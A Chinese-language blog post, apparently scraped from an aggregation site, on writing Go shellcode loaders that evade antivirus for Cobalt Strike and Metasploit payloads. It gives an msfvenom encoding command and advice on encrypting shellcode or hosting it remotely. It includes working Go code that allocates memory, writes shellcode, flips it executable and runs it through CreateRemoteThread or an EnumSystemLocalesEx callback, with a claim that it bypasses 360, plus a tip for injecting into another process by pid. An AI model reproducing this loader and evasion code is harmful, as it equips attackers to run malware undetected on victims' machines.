浅析golang shellcode加载器
最近也是学习了一下有关shellcode进程注入的操作,简单分享一下通过golang进行实现shellcode加载器的免杀思路。
杀软的查杀方式
静态查杀:查杀的方式是结合特征码,对文件的特征段如Hash、文件名、函数名、敏感字符串等进行匹配。
动态查杀:主要针对于软件运行后的行为进行查杀,杀软可能会监控内存、注册表、敏感程序以及各种API等。如果程序在运行之后进行了危险操作比如说修改了注册表,那就会杀软查杀。
当然还有云查杀、沙箱这些技术。这里主要还是总结了对于CS、MSF生成的shellcode使用加载器进行进程注入来免杀的操作。
对于一个msf、CS生成的exe可执行文件,其特征已经被杀软拿捏得死死。而shellcode加载器免杀的原理就是在不修改shellcode代码的基础上,通过将shellcode和程序分离来进行绕过。一方面对分离出来的shellcode进行诸如异或、AES等加密方式绕过杀软的特征码查杀;另一方面作为加载器的程序在没有shellcode的情况下是不存在病毒行为的。
对于shellcode的处理
通常情况,我会选择生成RAW以原始二进制生成payload,并对生成的二进制数据进行Base64编码处理。然后可以对得到的Base64字符串进行各种类型的加密处理。其中Linux的base64可以很好的完成对二进制数据的base64编码处理,并且可以很方便的删除payload中的换行符号。
msfvenom -p [payload] -f raw | base64 | tr -d "\n"
这里推荐一个go语言封装的各种加密项目。方便对shellcode的各种加密处理。
https://github.com/wumansgy/goEncrypt
对于shellcode,你也可以把以txt格式保存在公网vps上,亦或者是隐写的图片当中,加载器通过http请求远程加载shellcode。
对于加载器
一个简单的shellcode加载器应该有以下几个部分:读取并处理shellcode、调用win api为shellcode分配内存、将shellcode写入内存,最后执行内存中的shellcode。
这里常用的api有VirtualAlloc、VirtualProtect、CreateRemoteThread等,当然了这里需要借助windows的文档来详细了解这些api的用法。
func loader2(sc []byte) {
// 获取当前进程的句柄
pHandle, _ := syscall.GetCurrentProcess()
Protect := windows.PAGE_EXECUTE_READWRITE
// 为shellcode分配足够大小的内存
addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
// 将shellcode写入内存当中
WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
//修改进程的保护属性为可读写可执行
VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&Protect)))
//创建线程执行shellcode
x,_, _ := CreateRemoteThread.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
for{
}
}
上面就是一个简单的shellcode加载器的例子。将shellcode注入到当前进程当中,因此在代码的最后,需要用一个死循环来使得我们整个程序一直处在一个运行的状态当中。(本地虚拟机测试,可以绕过360)
当然,这里你选择注入的进程也可以是其他的程序,那么这里需要做的改变仅仅是修改获取进程句柄的方式。使用下面的方法,将根据pid来获取进程的句柄,就可以向你需要的进程中注入shellcode。
pHandle,_ := windows.OpenProcess(0x1F0FFF,false,pid)
在上面加载器的例子当中,我们用到了一些winapi 如 VirtualAlloc、CreateRemoteThread这些api其实都在各大杀软的重点监控当中。那么为了应对这种监控,一种好的办法就是不使用这些敏感的api。windows的一些api提供的回调函数,它的参数是指针类型的话是可以直接调用内存当中的shellcode的,就是变相的达到了不适用敏感api来执行shellcode的方法。
下面这个github开源项目提供了很多这种包含有回调函数可以执行shellcode的方法。
https://github.com/aahmad097/AlternativeShellcodeExec
下面这个例子就是使用了EnumSystemLocalesEx这个api 来实现回调执行shellcode。
func EnumSystemLocalesEx1(data []byte) {
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
panic(1)
}
_, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {
panic(1)
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
panic(1)
}
EnumSystemLocalesEx.Call(addr, 0,0,0)
}
免杀涉及到的内容还是非常广泛的,做好免杀还是需要继续深入学习多方面的知识。
浅析golang shellcode加载器的更多相关文章
- [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)
0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...
- 理解go语言的shellcode加载器
序言 本文假设你知道unsafe包常见函数的用法,若否,请查看 https://books.studygolang.com/gopl-zh/ch13/ch13-01.html 第13章. 例子和代码 ...
- 恶意软件开发——编写第一个Loader加载器
一.什么是shellcode loader? 上一篇文章说了,我们说到了什么是shellcode,为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shel ...
- js模块化加载器实现
背景 自es6以前,JavaScript是天生模块化缺失的,即缺少类似后端语言的class, 作用域也只以函数作为区分.这与早期js的语言定位有关, 作为一个只需要在网页中嵌入几十上百行代码来实现一些 ...
- golang动态加载原生代码思路
golang动态加载原生代码思路(非plugin,非so文件.使用mmap形式运行机器码,可释放) 1.用go tool objdump,可以看到任意函数的机器码.汇编指令.偏移.(go源码下面有一个 ...
- 实现一个类 RequireJS 的模块加载器 (二)
2017 新年好 ! 新年第一天对我来说真是悲伤 ,早上兴冲冲地爬起来背着书包跑去实验室,结果今天大家都休息 .回宿舍的时候发现书包湿了,原来盒子装的牛奶盖子松了,泼了一书包,电脑风扇口和USB口都进 ...
- 使用RequireJS并实现一个自己的模块加载器 (一)
RequireJS & SeaJS 在 模块化开发 开发以前,都是直接在页面上引入 script 标签来引用脚本的,当项目变得比较复杂,就会带来很多问题. JS项目中的依赖只有通过引入JS的顺 ...
- AngularJs2与AMD加载器(dojo requirejs)集成
现在是西太平洋时间凌晨,这个问题我鼓捣了一天,都没时间学英语了,英语太差,相信第二天我也看不懂了,直接看结果就行. 核心原理就是require在AngularJs2编译过程中是关键字,而在浏览器里面运 ...
- js前端模块化之加载器原理解析(一)
先来说一下前端模块化的价值:引用模块此处有详细的介绍,可以自行前往观看. 一.总结如下优点: (1)解决命名冲突(2)烦琐的文件依赖(3)模块的版本管理(4)提高可维护性(5)前端性能优化(6)跨环境 ...
随机推荐
- 解读先电2.4版 iaas-install-mysql.sh 脚本
#!/bin/bash #声明解释器路径 source /etc/xiandian/openrc.sh #生效环境变量 ping $HOST_IP -c 4 >> /dev/null 2& ...
- resultMap,日志,分页
问题:属性名和字段名不一致 解决方法 起别名 select id, username, password as pwd from db4.user resultMap结果集映射 id username ...
- vue项目引入TinyMCE
1.安装 npm install @tinymce/tinymce-vue@3.0.1 -S 2.配置 <template> <!-- 富文本 --> <div> ...
- 课堂测试——HDFS操作
要求: 编程实现以下功能,并利用Hadoop提供的Shell命令完成相同任务: 向HDFS中上传任意文本文件,如果指定的文件在HDFS中已经存在,则由用户来指定是追加到原有文件末尾还是覆盖原有的文件: ...
- django三板斧与request对象方法与ORM
目录 django三板斧 HttpResponse() render() redirect() 网页获取静态文件样式 request对象方法 post请求问题 针对get请求和post请求执行不同代码 ...
- RabbitMQ 环境安装
每日一句 Wisdom is knowing what to do next, skill is knowing how to do it, and virtue is doing it. 智慧是知道 ...
- 魔改了一下bootstrap-treeview组件,发布个NPM包体验一下
前言 之前在这篇文章 基于.NetCore开发博客项目 StarBlog - (8) 分类层级结构展示 中说到,我为了让文章分类列表支持层级结构,用了一个树形组件,不过这个组件太老了,使用的Boots ...
- 【雅礼集训 2017 Day2】棋盘游戏
loj 6033 description 给一个\(n*m\)的棋盘,'.'为可通行,'#'为障碍.Alice选择一个起始点,Bob先手从该点往四个方向走一步,Alice再走,不能走走过的点,谁不能动 ...
- Java添加条形码到PDF表格
条码的应用已深入生活和工作的方方面面.在处理条码时,常需要和各种文档格式相结合.当需要在文档中插入.编辑或者删除条码时,可借助于一些专业的类库工具来实现.本文,以操作PDF文件为例,介绍如何在编辑表格 ...
- 【C++函数题目】重载完成Compare函数
题目来源链接:https://www.dotcpp.com/oj/problem2008.html 题目讲解链接:http://6o2.cn/1yjJB2 题目描述 利用函数重载完成三个比较大小的C ...